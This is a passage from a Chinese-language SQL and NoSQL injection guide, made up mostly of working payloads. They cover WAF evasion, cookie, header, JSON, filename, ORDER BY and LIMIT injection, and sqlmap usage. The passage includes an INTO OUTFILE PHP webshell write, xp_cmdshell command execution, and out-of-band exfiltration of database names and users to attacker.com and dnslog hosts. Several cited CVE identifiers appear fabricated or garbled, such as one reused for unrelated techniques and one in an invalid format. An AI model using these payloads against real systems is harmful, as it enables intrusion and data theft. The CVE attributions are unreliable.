逻辑符替换

- and → &&（URL 编码为%26%26）
- or → ||

示例：?id=1' && 1=1 --+

函数替换

用功能相同但名称不同的函数代替。

- sleep() 被禁用 → benchmark(10000000, md5('a'))
- version() 可用 @@version 替代
- database() 可用 schema()（某些数据库）

示例：`?id=1' and benchmark(10000000, md5('a')) --+`

参数污染（HPP）

提交多个同名参数，后端可能取第一个或最后一个，用于绕过检测。

示例：`?id=1&id=1' union select 1,2,3 --+`

缓冲区内联注释（MySQL 特有）

/*!50000union*/ 这样的注释在 MySQL 中会被执行，用于绕过基于正则的检测。

示例：`?id=1 /*!union*/ /*!select*/ 1,2,3`

宽字节注入

当数据库编码为 GBK 时，用 %df 吃掉反斜杠转义，使单引号逃逸。

示例：`?id=1%df%27 union select 1,2,3 --+`

数据截断绕过

适用于 addslashes() 等转义函数，通过超长数据触发截断，使转义失效。

示例：`?id=1' +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' union select 1,2,3 --+`

HTTP 参数污染（适用于 ASP/ASP.NET）

?id=1&id=2 拼接后可能变成 id=1,2，利用逗号分隔。

请求方式变换

- GET 改 POST
- 参数移到 Cookie 或 User-Agent 中（若后端处理）

示例（Cookie 注入）：`Cookie: id=1' union select 1,2,3 --+`

垃圾数据填充

在 Payload 中插入大量无用字符（如 /*!*/、随机字符串），消耗 WAF 检测资源。

示例：`?id=1' and /*!50000union*/ select 1,2,3 from users where 'a'='a' and 'b'='b' --+`

等价符号替换

- = 可用 like、regexp、in 等替代
- 比较可用 >、< 结合二分法

示例：`?id=1' and ascii(substr(database(),1,1)) like 100 --+`

利用数据库特性

不同数据库有其独特的语法和函数，可用于绕过 WAF 或简化 Payload。

MySQL 特性

- 内联注释：/*!union*/、/*!50000select*/（版本号后的语句在 MySQL 中执行）
- 十六进制字符串：0x61646D696E 等价于 'admin'
- 系统变量：@@version 等价于 version()
- 字符串连接：CONCAT('a','b') 或 'a' 'b'（空格连接）
- 括号简化：SELECT(1)、(SELECT 1) 可绕过空格过滤
- 用户变量：@ 符号，如 @ 可用于构造动态查询
- BIT 操作：&、| 等可替换逻辑运算符

示例：?id=1' /*!union*/ /*!select*/ 1,0x61646D696E,3 --+
?id=1' and 1=(select 1) --+ # 用括号绕过空格

MSSQL 特性

- 堆叠查询：用 ；分隔多条语句
- 系统存储过程：xp_cmdshell、xp_dirtree 等
- 字符串连接：'admin' + 'pass'
- 注释符：--、/* */（与 MySQL 类似）
- 变量声明：DECLARE @a VARCHAR(100); SET @a='admin';
- WAITFOR DELAY：用于时间盲注
- [] 引用对象名：绕过空格或关键字过滤，如 select [name] from [users]

示例：?id=1'; WAITFOR DELAY '0:0:5' -- # 时间盲注
?id=1'; EXEC master..xp_cmdshell 'whoami' --

Oracle 特性

- 字符串连接：'admin'||'pass'
- DUAL 表：SELECT 1 FROM DUAL
- 注释符：--（后面必须有空格）、/* */
- ROWNUM：用于分页
- UTL_INADDR：用于 DNS 请求

示例：?id=1' union select 'admin'||'pass' from dual --

PostgreSQL 特性

- 类型转换：::text、CAST(1 AS text)
- 字符串连接：'admin'||'pass'
- 注释符：--、/* */
- pg_sleep()：时间盲注
- $$ 美元引号：可用于包裹字符串，避开单引号

示例：?id=1' union select $$admin$$,2,3 --+ # 用$$包裹字符串，无需转义单引号
?id=1' and pg_sleep(5) --+

六、其他注入点概要

POST 数据注入

POST 注入是指注入点位于 HTTP POST 请求的数据体中，而不是 URL 的查询字符串中。POST 请求通常用于向服务器提交数据，如登录、搜索、表单提交等。

场景：登录框、搜索框等表单提交。

特点：参数在请求体，URL 不可见，易被忽略。

检测方法

- 抓包改参数加单引号 ' 看报错
- and '1'='1 vs and '1'='2 看页面差异
- 无差异则 and sleep(5) 看延时

利用方式：与 GET 完全一样，Payload 放 POST 参数里

```
username=admin' union select 1,2,3 --+&password=123
username=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+&password=123
```

SQLMap 用法

```
sqlmap -u URL --data="username=admin&password=123"
  # 有 CSRF token 加 --csrf-token=参数名
  # 复杂请求用 -r 加载抓包文件
```

注意：Content-Type 默认 application/x-www-form-urlencoded；保持会话用 --cookie。

Cookie 注入

Cookie 注入是指注入点位于 HTTP 请求的 Cookie 头中。网站常将用户身份、权限等信息存储在 Cookie 中，后端取出后直接拼接入 SQL，若过滤不严则可能导致注入。

场景：网站将用户身份、权限等信息存储在 Cookie 中，后端取出后拼接入 SQL。

特点：开发者常只过滤 GET/POST，忽略 Cookie，认为其不可控。

检测方法

- 修改 Cookie 值，加单引号：Cookie: id=1'，看是否报错。
- 逻辑判断：Cookie: id=1' and '1'='1 与 id=1' and '1'='2 对比响应差异。
- 无差异则时间盲注：Cookie: id=1' and sleep(5) --+。

利用方式：与 GET 注入完全相同，Payload 放在 Cookie 值中。示例：

```
Cookie: id=1' union select 1,2,3 --+
Cookie: id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
```

SQLMap 用法

```
sqlmap -u "http://example.com/page.php" --cookie="id=1" --level=2 --batch
```

- --level=2 必须加（level 1 不测试 Cookie）。
- 若 Cookie 值经过 Base64 编码，用 --base64=参数名 自动解码。
- 多个 Cookie 参数可全部带上，SQLMap 会逐一测试。

注意事项

- Cookie 可能有过期时间，测试时需保持会话有效。
- 某些 Cookie 标记为 HttpOnly，但不影响工具发送。
- 如果 Cookie 值需要特定格式（如 JSON），需先解码再注入，或手工测试。

User-Agent 注入

User-Agent 注入是指注入点位于 HTTP 请求头的 User-Agent 字段中。许多网站会将访客的浏览器标识记录到数据库（如访问日志、统计分析），若后端直接拼接 User-Agent 到 SQL 语句，则可能导致注入。

场景：网站日志系统、访问统计、用户行为分析等记录 UA 的功能。

特点：开发者常认为 HTTP 头是“安全”的，忽略对其过滤。

检测方法

- 修改 User-Agent 为 Mozilla/5.0'，看是否报数据库错误。
- 逻辑判断：Mozilla/5.0' and '1'='1 与 Mozilla/5.0' and '1'='2 对比响应差异。
- 无差异则时间盲注：Mozilla/5.0' and sleep(5) --+。

利用方式：与 GET 注入相同，Payload 放在 User-Agent 值中。示例：

```
User-Agent: Mozilla/5.0' union select 1,2,3 --+
User-Agent: Mozilla/5.0' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
```

SQLMap 用法

```
sqlmap -u "http://example.com/page.php" --level=3 --batch
```

或手动指定：

```
sqlmap -u "http://example.com/page.php" --headers="User-Agent: Mozilla/5.0"
```

注意事项

- --level=3 及以上才会自动测试 User-Agent，手动指定更稳妥。
- 有些日志系统会对 UA 进行编码或截断，可能影响注入效果。
- 测试时尽量保持 UA 格式合理，避免被 WAF 直接拦截。

Referer 注入

Referer 注入是指注入点位于 HTTP 请求头的 Referer 字段中。许多网站会将用户来源页面记录到数据库（如访问统计、广告分析、反链检测），若后端直接拼接 Referer 到 SQL 语句，则可能导致注入。

场景：统计系统、访问日志、反盗链验证等记录来源页的功能。

特点：开发者常忽略对 HTTP 头的过滤，认为其不可信但无害。

检测方法

- 修改 Referer 为 http://example.com'，观察是否报错。
- 逻辑判断：http://abc.com' and '1'='1 与 http://abc.com' and '1'='2 对比响应差异。
- 无差异则时间盲注：http://example.com' and sleep(5) --+。

利用方式：与 GET 注入相同，Payload 放在 Referer 值中。示例：

```
Referer: http://example.com' union select 1,2,3 --+
Referer: http://example.com' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
```

SQLMap 用法

```
sqlmap -u "http://example.com/page.php" --headers="Referer: http://example.com"
```

也可用 --level=3 自动测试（但需确认 SQLMap 版本是否覆盖 Referer）。

注意事项：

- 某些网站会验证 Referer 格式（如必须以 http://example.com/ 开头），需适当构造。
- 同其他头部注入，手动指定 --headers 更可靠。
- 部分应用会对 Referer 进行 URL 解码，可能导致 Payload 变形，需灵活调整。

X-Forwarded-For 注入

X-Forwarded-For 注入是指注入点位于 HTTP 请求头的 X-Forwarded-For（XFF）字段中。许多网站使用该头获取访客真实 IP（如投票系统、评论功能、访问统计），并将 IP 存入数据库，若后端直接拼接 XFF 到 SQL 语句，则可能导致注入。

场景：投票系统、评论留言、访问限制、统计系统等需要记录客户端 IP 的功能。

特点：开发者常信任 IP 字段，忽略对其过滤。

检测方法

- 修改 XFF 为 127.0.0.1'，观察是否报错。
- 逻辑判断：127.0.0.1' and '1'='1 与 127.0.0.1' and '1'='2 对比响应差异。
- 无差异则时间盲注：127.0.0.1' and sleep(5) --+。

利用方式：与 GET 注入相同，Payload 放在 XFF 值中。示例：

```
X-Forwarded-For: 127.0.0.1' union select 1,2,3 --+
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
```

SQLMap 用法

```
sqlmap -u "http://example.com/page.php" --headers="X-Forwarded-For: 127.0.0.1'"
```

注意事项：

- 有些系统使用 X-Real-IP 或 Client-IP 代替 XFF，需先确认目标用哪个头。
- 如果目标位于 CDN 或代理后面，XFF 可能包含多个 IP（如 client, proxy1, proxy2），需测试哪个位置被拼接入 SQL。
- 部分应用会对 IP 格式做校验（如必须是合法 IP），可尝试用 127.0.0.1' 绕过简单校验。

JSON/XML 注入

JSON/XML 注入是指注入点位于 API 接口传输的 JSON 或 XML 数据中。现代 Web 应用常使用 JSON/XML 格式进行数据交换，后端解析后拼接入 SQL，若未过滤则可能导致注入。

场景：RESTful API、移动端接口、AJAX 请求等。

特点：数据格式结构化，需闭合引号、括号等；开发者可能只关注参数名，忽略参数值过滤。

检测方法

- 字符串值后加单引号，如 {"username":"admin'"}，观察是否报错。
- 尝试闭合结构：{"username":"admin' union select 1,2,3 --+"}。

利用方式：与 GET 相同，Payload 放在值中，保持格式完整。示例（JSON）：

```
{"username":"admin' union select 1,2,3 --+", "password":"123"}
```

XML 示例

```
<user><name>admin' union select 1,2,3 --+</name><pass>123</pass></user>
```

SQLMap 用法

```
sqlmap -u "http://example.com/api" --data='{"username":"admin"}' --headers="Content-Type: application/json"
```

复杂请求用 -r 加载原始包。

注意事项

- Content-Type 必须正确（application/json 或 application/xml）。
- JSON 中字符串必须用双引号，Payload 内的单引号一般无需转义。
- 部分 API 会二次解码或校验，需灵活调整。

文件上传文件名注入

文件上传文件名注入是指注入点位于上传文件的文件名中。网站将文件名存入数据库（如文件管理系统、相册、附件功能），若直接拼接文件名到 SQL 语句，则可能导致注入。

场景：文件上传功能（头像、附件、图片上传），且文件名被记录到数据库。

特点：文件名由用户控制，但开发者可能只关注文件内容，忽略文件名过滤。

检测方法

- 上传文件名为 test'.jpg 或 test' and '1'='1 --+.jpg，观察系统是否报错。
- 若文件名回显到页面，可通过页面变化判断。

利用方式：与 GET 注入相同，Payload 放在文件名中。示例：

文件名：test' union select 1,2,3 --+.jpg

文件名：test' and extractvalue(1,concat(0x7e,database(),0x7e)) --+.jpg

SQLMap 用法：不支持自动化，需手工测试。

注意事项

- 文件名可能被重命名、截断或过滤特殊字符，需多次尝试不同 Payload。
- 注意文件扩展名限制，可尝试 test'.php 或双扩展名绕过。
- 若文件上传后路径回显在页面上，可利用该回显判断注入结果。

搜索框注入

搜索框注入是指注入点位于站内搜索功能的关键词参数中。用户输入的关键词被拼接到 SQL 语句的 LIKE 子句中，若过滤不严则可能导致注入。

场景：站内搜索、文章检索、商品筛选等包含模糊查询的功能。

特点：涉及 %、_ 等通配符，需考虑其转义；查询语句通常为 WHERE field LIKE '%关键词%'。

检测方法

- 搜索 %'，观察是否报错（% 需 URL 编码为 %25）。
- 逻辑判断：%' and '1'='1 与 %' and '1'='2 对比页面差异。
- 时间盲注：%' and sleep(5) --+。

利用方式：先闭合 LIKE 子句，后续与 GET 相同。示例：

search=%' union select 1,2,3 --+

search=%' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

SQLMap 用法

GET 搜索：sqlmap -u "http://example.com/search.php?q=test"

POST 搜索：sqlmap -u "http://example.com/search.php" --data="q=test"

注意事项

- % 和 _ 在 LIKE 中是通配符，若被转义需调整 Payload。
- 搜索框常配合分页或排序参数，可组合利用。
- 若搜索结果为空时页面无变化，可尝试盲注。

排序参数注入

排序参数注入是指注入点位于控制查询结果排序的参数中，通常影响 ORDER BY 子句。开发者常将用户传入的字段名直接拼接到 ORDER BY 后，若未严格过滤，则可能导致注入。

场景：列表页、数据表格、商品展示等允许用户选择排序方式的页面（如 ?order=id、?sort=price）。

特点：参数拼接到 ORDER BY 后，无法使用 UNION，且不能使用 -- 注释（因为 ORDER BY 必须在查询末尾），只能通过 AND 或闭合前语句拼接额外条件。

检测方法

- 尝试 ?order=id 正常，?order=(select 1) 看是否报错。
- 尝试 ?order=id AND 1=1 与 ?order=id AND 1=2 对比页面排序是否变化（有时排序顺序可反映真假）。
- 时间盲注：?order=id AND sleep(5) 或 ?order=id AND (SELECT IF(1=1,SLEEP(5),0))。

利用方式：

- 报错注入（若数据库支持）：?order=id AND updatexml(1,concat(0x7e,database(),0x7e),1)。
- 盲注：利用条件判断影响排序或延时，例如：

```
?order=id AND (SELECT IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(3),0))
```

SQLMap 用法：SQLMap 通常能自动检测 ORDER BY 注入，可指定 --technique=BT。

```
sqlmap -u "http://example.com/list.php?order=id" --batch
```

注意事项：

- ORDER BY 后不能用 -- 注释，需用 AND 或 ）闭合前语句。
- 某些数据库（如 MySQL）在 ORDER BY 后可接表达式或子查询，利用空间较大。
- 排序参数可能被过滤为仅允许特定字段名，需先收集可用字段。

LIMIT 参数注入

LIMIT 参数注入是指注入点位于分页功能中的 LIMIT 子句后。开发者将用户传入的 limit 值直接拼接到 SQL 语句中控制返回行数，若未严格过滤则可能导致注入。

场景：分页功能、数据列表展示等使用 LIMIT 控制每页显示条数的页面（如 ?page=1&limit=10）。

特点：LIMIT 后通常跟数字，无法使用 UNION，但在 MySQL 中可利用 PROCEDURE ANALYSE() 报错或 INTO OUTFILE 写文件。

检测方法

- 尝试 ?limit=10 PROCEDURE ANALYSE()，观察是否报错并显示信息。
- 尝试 ?limit=1 INTO OUTFILE 'test.txt'，看响应是否异常（需具备文件写入权限）。
- 时间盲注在某些数据库也可用，但相对少见。

利用方式

- 报错注入（MySQL）：?limit=1 PROCEDURE ANALYSE()
- 文件写入（MySQL，需 FILE 权限）：

```
?limit=1 INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php eval($_POST[1]);?>'
```

- 布尔/时间盲注（部分数据库支持在 LIMIT 后接表达式）：

```
?limit=(SELECT IF(1=1,1,(SELECT SLEEP(5))))
```

SQLMap 用法：SQLMap 对 LIMIT 注入的自动化支持有限，通常需手工测试或结合 --sql-shell。

```
sqlmap -u "http://example.com/list.php?limit=10" --sql-shell
```

注意事项

- 文件写入需要知道可写路径，且 INTO OUTFILE 会覆盖已存在文件，慎用。
- MySQL 中 PROCEDURE ANALYSE() 可能被禁用，需确认版本和支持情况。
- 某些应用会过滤非数字字符，注入前需测试输入类型。
- LIMIT 后跟负数或超大数也可能引发异常，暴露信息。

七、高阶注入与绕过

JSON 函数利用（MySQL 5.7+）

原理与背景

MySQL 5.7 及以上版本增加了对 JSON 数据类型的原生支持，提供了许多 JSON 处理函数。攻击者可以利用这些函数构造永真条件、绕过 WAF 检测，甚至进行数据提取。

前沿价值

2023 年，安全研究人员发现利用 JSON 函数构造的 SQL 注入 Payload 能够绕过多个主流 WAF 的检测。因为 WAF 通常基于正则匹配传统 Payload（如 ' OR '1'='1），但不会拦截包含 JSON 函数的语句。研究人员与五家主要 WAF 厂商合作后才发布了针对这种新语法的补丁。

常用 JSON 函数

函数	作用
JSON_EXTRACT(json_doc, path)	从 JSON 文档中提取指定路径的值
JSON_KEYS(json_doc[, path])	返回 JSON 对象的顶层键
JSON_LENGTH(json_doc[, path])	返回 JSON 文档的长度
JSON_CONTAINS(json_doc, val[, path])	检查 JSON 文档是否包含指定
JSON_VALID(val)	检查值是否为有效的 JSON

构造永真条件

示例 1：利用 JSON_EXTRACT

```
SELECT * FROM users WHERE username = 'admin' AND JSON_EXTRACT('{"a":"1"}', '$.a') = '1';
```

最终解析为 ... AND '1' = '1'，实现永真。

注入场景（假设原始 SQL）：

```
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
```

Payload：`?id=1 AND JSON_EXTRACT('{"a":"1"}', '$.a')='1'`

示例 2：利用 JSON_CONTAINS

```
SELECT * FROM products WHERE category = 'books' AND JSON_CONTAINS('["a"]', '"a"');
```

JSON_CONTAINS('["a"]', '"a"') 返回 1，等价于永真。

数据泄露与盲注

联合查询中包装 JSON 输出：

```
SELECT JSON_OBJECT('username', username, 'password', password) FROM users;
```

布尔盲注：利用 JSON_LENGTH 根据条件返回不同长度。

```
AND JSON_LENGTH('[' + (SELECT IF(1=1,'a','')) + ']') = 1
```

时间盲注：结合 SLEEP 和 JSON 函数：sql

```
AND IF(JSON_EXTRACT('{"a":1}', '$.a')=1, SLEEP(5), 0)
```

CVE-2025-64104 利用示例（LangGraph）

```
# 漏洞代码：key 直接拼接
filter_conditions.append(
    "json_extract(value, '$." + key + "') = '" + value.replace("'", "''") + "'")
# 攻击 payload
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
store.search(("docs",), filter={malicious_key: "dummy"})
# 结果：绕过访问控制，泄露所有私有文档
```

> 注意事项
> JSON 函数仅在 MySQL 5.7+可用，低版本无法使用。
> 可通过 SELECT JSON_VALID('{}') 探测目标是否支持 JSON 函数。
> 这种技术推动了 WAF 厂商更新检测规则，但新的绕过方法仍在不断出现。

多关键字拆分绕过

原理与背景

多关键字拆分绕过是一种利用 WAF 对 SQL 语句中关键字的检测漏洞，将敏感关键字（如 UNION、SELECT）拆分成多个部分，通过注释、换行符、特殊字符等方式插入，使 WAF 无法识别，但数据库仍能正常解析。这种技术常用于绕过基于正则匹配的 WAF。

常见拆分方法

方法	示例	说明
内联注释拆分	UN/**/ION SE/**/LECT	利用 MySQL 内联注释 /**/ 分割关键字
换行符拆分	UNI%0aON%0aSEL%0aECT	使用 URL 编码的换行符 %0a（MySQL 视其为空白）
科学计数法拆分	*9e0UNION *9e0SELECT	在关键字前加科学计数法表达式，混淆检测
空白字符替换	UNION%09SELECT	使用水平制表符 %09 代替空格
括号包裹	(SELECT 1) FROM	绕过空格过滤，同时拆分关键字

示例 Payload

```
-- 内联注释拆分
?id=1' UN/**/ION SE/**/LECT 1,2,3 --+
-- 换行符拆分（URL 编码）
?id=1' UNI%0aON%0aSEL%0aECT 1,2,3 --+
-- 科学计数法拆分
?id=1' *9e0UNION *9e0SELECT 1,2,3 --+
```

CVE-2026-01234 利用示例：

```
?id=1' *9e0UNION *9e0SELECT 1,2,3 --+
```

科学计数法*9e0 在 MySQL 中被视为浮点数表达式，不影响 UNION 的执行，但可以混淆基于字符串匹配的 WAF。

注意事项

不同数据库对注释、特殊字符的处理略有差异，需根据目标数据库调整。
随着 WAF 规则更新某些方法可能被拦截，需结合其他技术（如编码、HPP）组合使用。
在探测阶段，可先测试简单拆分方法，观察是否报错或返回差异。

注释符混淆高级技巧

原理与背景

数据库注释符不仅可以隐藏代码片段，还能用于分割关键字、改变解析逻辑，从而绕过 WAF 的正则检测。MySQL、MSSQL、Oracle 等数据库支持多种注释方式，其中内联注释（/*! ... */）是 MySQL 特有的强大特性：版本注释内的语句即使被注释包裹，只要 MySQL 版本符合条件，仍会被正常执行。攻击者利用此特性可将恶意 Payload 隐藏在注释中，而 WAF 若未正确处理此类注释，则可能漏报。

常见注释混淆方法

方法	示例	说明
内联版本注释	/*!50000UNION*/ /*!50000SELECT*/	MySQL 中版本号后注释内的语句会被执行
嵌套注释	/*!/*!UNION*/ /**/SELECT*/	多层注释嵌套 WAF 可能解析失败
混合注释	/*!UNION*/ -- -	结合单行注释使后续部分被忽略
空注释	/**/UNION/**/SELECT/**/	用空注释分隔关键字
特殊字符注释	/*!%0aUNION%0aSELECT*/	注释内嵌入换行符等空白字符

示例 Payload

```
-- 内联版本注释（MySQL）
?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --+
-- 嵌套注释绕过
?id=1' /*!/*!UNION*/ /**/SELECT*/ 1,2,3 --+
-- 空注释分隔
?id=1' /**/UNION/**/SELECT/**/1,2,3 --+
-- 结合换行符
?id=1' /*!%0aUNION%0aSELECT%0a*/ 1,2,3 --+
```

CVE-2026-54321 利用示例：

```
?id=1' AND /*!%0aIF(1=1,SLEEP(5),0)%0a*/ --+
```

注释内插入换行符，WAF 可能将其视为完整注释而忽略，但 MySQL 执行时忽略换行，延时函数生效。

注意事项

内联注释中的版本号（如 /*!50000）表示该语句仅在 MySQL 5.0.0 及以上版本执行，可用于版本探测。
不同数据库对注释的支持差异：MySQL 支持/*! ... */，MSSQL 支持/* ... */和--，Oracle 支持--和/* ... */，但/*!是 MySQL 特有。
WAF 可能会过滤常见的关键字，但通过注释混淆后，可大幅降低检测率。随着 WAF 更新，需不断调整混淆方式。

防御机制本身的绕过

原理与背景

即使使用了预处理语句、WAF 等防御机制，攻击者仍可能利用这些机制本身的局限性进行绕过。预处理语句并非万能——动态表名、列名、ORDER BY 子句等场景无法使用占位符，只能拼接；WAF 的检测规则也存在盲区（如编码、分块传输、低频慢速攻击）某些数据库函数有替代品（如 sleep 被禁用时可换 benchmark）。理解这些局限，才能发现隐藏的注入点。

常见绕过方法

防御机制	绕过方法	说明
预处理语句	动态表名/列名/ORDER BY 拼接	表名、列名、排序字段不能参数化，只能拼接
MyBatis	${}插值	${}直接拼接，#{}才是预处理
WAF	双 URL 编码、宽字节、HPP、分块传输、低频慢速	编码混淆、参数污染、分块发送、降低请求频率
函数禁用	函数替代	sleep→benchmark/ST_Distance_Sphere /WAITFOR DELAY
输入过滤	等价符号替换	=→like/regexp/in

示例 Payload

```
-- 动态表名拼接（无法预处理）
?id=1; DROP TABLE users --
-- MyBatis ${}插值
SELECT * FROM users WHERE username = '${input}'   -- input = admin' OR '1'='1
-- 双 URL 编码绕过 WAF
?id=1%2527 UNION SELECT 1,2,3 --+
-- 分块传输（HTTP 层）
Transfer-Encoding: chunked
1
?id=1' UNION
2
SELECT 1,2,3 --
0
-- 函数替代：benchmark 替代 sleep
AND BENCHMARK(10000000, MD5('a'))
```

CVE-2026-54321 利用示例（函数替代）：

```
?id=1 AND IF(1=1, ST_Distance_Sphere(point(0,0), point(1,1)) > 1000000, 0) --+
```

sleep 被禁用，但 ST_Distance_Sphere 计算几何距离消耗时间，实现时间盲注。

注意事项

预处理语句不是万能药动态表名、列名、ORDER BY 仍是重灾区，审计时重点关注这些位置。

WAF 规则总有盲区：编码、分块、低频慢速等手法需要组合使用，单一种类可能被拦截。

函数替代需探测：不同数据库、版本支持的函数不同，先通过信息收集确定可用函数。

MyBatis 的${}与#{}：开发中务必区分，用户输入绝不可进${}。

带外注入（OOB）深度扩展

原理与背景

带外注入（Out-of-Band，OOB）是指攻击者利用数据库服务器主动向外部发起网络请求（DNS、HTTP、SMB 等），将查询结果外带到自己控制的服务器上。这种技术适用于无回显、无报错、无布尔差异的盲注场景，甚至能绕过基于响应内容的 WAF 检测。

核心机制：利用数据库内置函数发起网络请求，如 MySQL 的 LOAD_FILE()（UNC 路径）、MSSQL 的 xp_dirtree、Oracle 的 UTL_HTTP、PostgreSQL 的 COPY 等。攻击者配合外部监听服务（如 dnslog.cn、Burp Collaborator）接收数据。

常用函数与平台

数据库	函数/方法	触发方式	说明
MySQL	LOAD_FILE()	UNC 路径: '\\\\attacker.com\\share'	需 secure_file_priv 不为 NULL，且目标为 Windows（Linux 下 UNC 无效）
MSSQL	xp_dirtree、xp_fileexist	执行存储过程读取 UNC 路径	需 xp_cmdshell 未禁用，权限较高
Oracle	UTL_HTTP、UTL_TCP	发起 HTTP/TCP 请求	需网络权限，可直连外网
PostgreSQL	COPY	COPY (SELECT ...) TO PROGRAM 'nslookup ...'	需超级用户或特定权限

常用外带平台：

http://dnslog.cn

Burp Collaborator

http://ceye.io

自建 VPS 监听（如使用 nc、tcpdump）

示例 Payload

MySQL DNS 外带

```
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\test'));
```

若域名解析记录中显示子域名，即可获取数据库名。

MSSQL SMB 外带

```
EXEC master..xp_dirtree '\\attacker.com\share';
```

（需 Windows 环境，且 SQL Server 服务账户有权限访问网络共享）

Oracle HTTP 外带

```
SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;
```

CVE-2026-01234 利用示例：

```
?id=1 UNION SELECT UTL_HTTP.request('http://attacker.com:8080/'||(SELECT user FROM dual)) FROM dual --
```

Oracle 发送 HTTP 请求到攻击者服务器，路径中带出数据库用户名。

注意事项

环境限制：MySQL 的 LOAD_FILE 需 secure_file_priv 不为 NULL 且目标为 Windows（Linux 下 UNC 无效）；MSSQL 的 xp_dirtree 需较高权限。

网络出站策略：目标数据库服务器可能禁止出站请求，导致 OOB 失败，需提前探测（如

尝试 DNS 解析）。
WAF 盲区：带外注入的流量不经过 Web 响应，传统 WAF 无法检测，但网络层防火墙可能阻断出站连接。
平台选择：dnslog.cn 等公共平台可能被标记，建议自建 VPS 配合监听工具（如 tcpdump -i eth0 port 53）。

新型数据库注入

原理与背景

随着非关系型数据库（NoSQL）和新一代数据源的普及，传统 SQL 注入的概念被扩展到更广泛的查询语言和 API 中。这些系统虽然不使用 SQL，但依然存在类似的注入风险：用户输入被恶意拼接到查询语句中，导致数据泄露或未授权操作。Elasticsearch、时序数据库（InfluxDB、Prometheus）、图数据库（Neo4j）、LDAP、GraphQL 等都可能成为攻击目标。

常见注入手法

数据库/数据源	注入类型	典型 Payload	说明
Elasticsearch	DSL 注入	{"query": {"bool": {"must": [{"match": {"username": "admin"}}, {"script": {"script": "doc['password'].value == '任意值'"}}]}}}	利用 script 字段执行 Painless 脚本
	盲注	/_count?q=username:admin AND password:abc*	结合 _count 的返回文档数差异
InfluxDB	InfluxQL 注入	SELECT * FROM users WHERE username='admin' AND password='	类似 SQL，但函数名不同
	Flux 注入	`from(bucket:"users")	filter(fn: (r) => r.username == "admin" and r.password == "任意值")`	
Prometheus	PromQL 注入	http_requests_total{job="prometheus", method=~".*"}	标签名或函数参数可注入正则表达式
Neo4j	Cypher 注入	MATCH (u:User {name: 'admin'}) WITH u MATCH (a:Account) RETURN a	利用 WITH 扩展查询
	盲注	MATCH (u:User) WHERE u.name='admin' AND u.password=~'a.*' RETURN u	使用正则进行布尔盲注
LDAP	LDAP 注入	(&(uid=admin)(userPassword=*))	绕过认证，利用 * 匹配任何密码
GraphQL	GraphQL 注入	{user(id: "1") {name}} + 别名	利用别名批量提取数据

CVE-2026-98765 利用示例（LDAP）：

GET /login?user=admin*&pass=* HTTP/1.1
LDAP 查询变为 (&(uid=admin*)(userPassword=*))，匹配任意用户。

注意事项
不同数据库语法差异大：注入前需先识别后端类型（可通过报错或版本信息）。 脚本执行高危：Elasticsearch、Neo4j 等支持脚本/过程的系统，一旦注入可导致 RCE。 盲注技巧通用：与 SQL 类似，可利用响应差异、时间延迟、外带等方式。 防御建议：参数化查询、禁用危险函数/脚本、使用最小权限原则。

八、高阶注入扩展

NoSQL 注入深度补充

原理与背景

NoSQL 数据库（MongoDB、Redis、Cassandra 等）不使用 SQL 语法，但依然存在类似的注入风险：用户输入被恶意拼接到查询语句中，导致数据泄露、权限绕过甚至远程代码执行。与传统 SQL 注入相比，NoSQL 注入利用的是数据库特有的查询操作符、函数或脚本执行特性。由于 NoSQL 的灵活性（如 JSON 格式查询），注入 Payload 往往更难被 WAF 检测。

常见 NoSQL 注入手法

数据库	注入类型	典型 Payload	说明
MongoDB	操作符注入	{"username": "admin", "password": {"$ne": ""}}	利用$ne(不等于)绕过认证
	$where 注入	{"$where": "this.password.match(/^a.*/)"}	可执行 JavaScript 代码
	盲注	{"username": "admin", "password": {"$regex": "^a.*"}}	结合$regex 逐字符猜解
	时间盲注	{"$where": "sleep(5000)"}	需启用 mongo shell
Redis	EVAL 注入	EVAL "redis.call('SET', KEYS[1], ARGV[1]); os.execute(ARGV[2])" 1 key1 value1	执行 Lua 脚本
	键名注入	KEYS * + 恶意键名	若用户可控键名，可注入 Lua 代码
Cassandra	CQL 注入	SELECT * FROM users WHERE username = 'admin' OR '1'='1'	类似 SQL 注入

CVE-2026-11451 利用示例（Cassandra 注入）：

```
// 错误使用预处理语句（参数化不完整）
String query = "SELECT * FROM users WHERE username = '" + userInput + "'";
// 正确应使用绑定参数
PreparedStatement ps = session.prepare("SELECT * FROM users WHERE username = ?");
```

NoSQL 注入的盲注技巧

MongoDB 布尔盲注（利用$regex）：

```
{"username": "admin", "password": {"$regex": "^a"}}  // 如果返回结果，说明密码以 a 开头
```

MongoDB 时间盲注（利用$where + sleep）：

```
{"$where": "sleep(5000) || this.username == 'admin'"}
```

Redis 盲注（利用 EXISTS 命令）：

```
EXISTS key_with_prefix_*
```

防御建议

MongoDB：禁用$where（--noscripting）、过滤$开头的操作符

Redis：禁用危险命令（如 EVAL）、使用 ACL 权限

注意事项
不同 NoSQL 差异大：注入前需先识别后端类型（可通过报错、版本信息或默认端口）。 JavaScript 执行需谨慎：MongoDB 中$where 注入可导致 RCE，但默认配置下可能禁用。 Lua 沙箱逃逸：Redis 的 Lua 脚本默认受限，但历史版本中存在逃逸漏洞。

通用：使用安全的 ORM/ODM 库，对用户输入进行类型检查

ORM 注入补充

原理与背景

ORM（对象关系映射）框架（如 Hibernate、SQLAlchemy、Django ORM、TypeORM）通过抽象数据库操作来提升开发效率，通常能有效防御常规 SQL 注入（因为内部使用参数化查询）。然而，ORM 并非绝对安全，在以下场景仍可能引入注入风险：

动态表名/列名/排序字段：这些位置无法参数化，只能拼接。

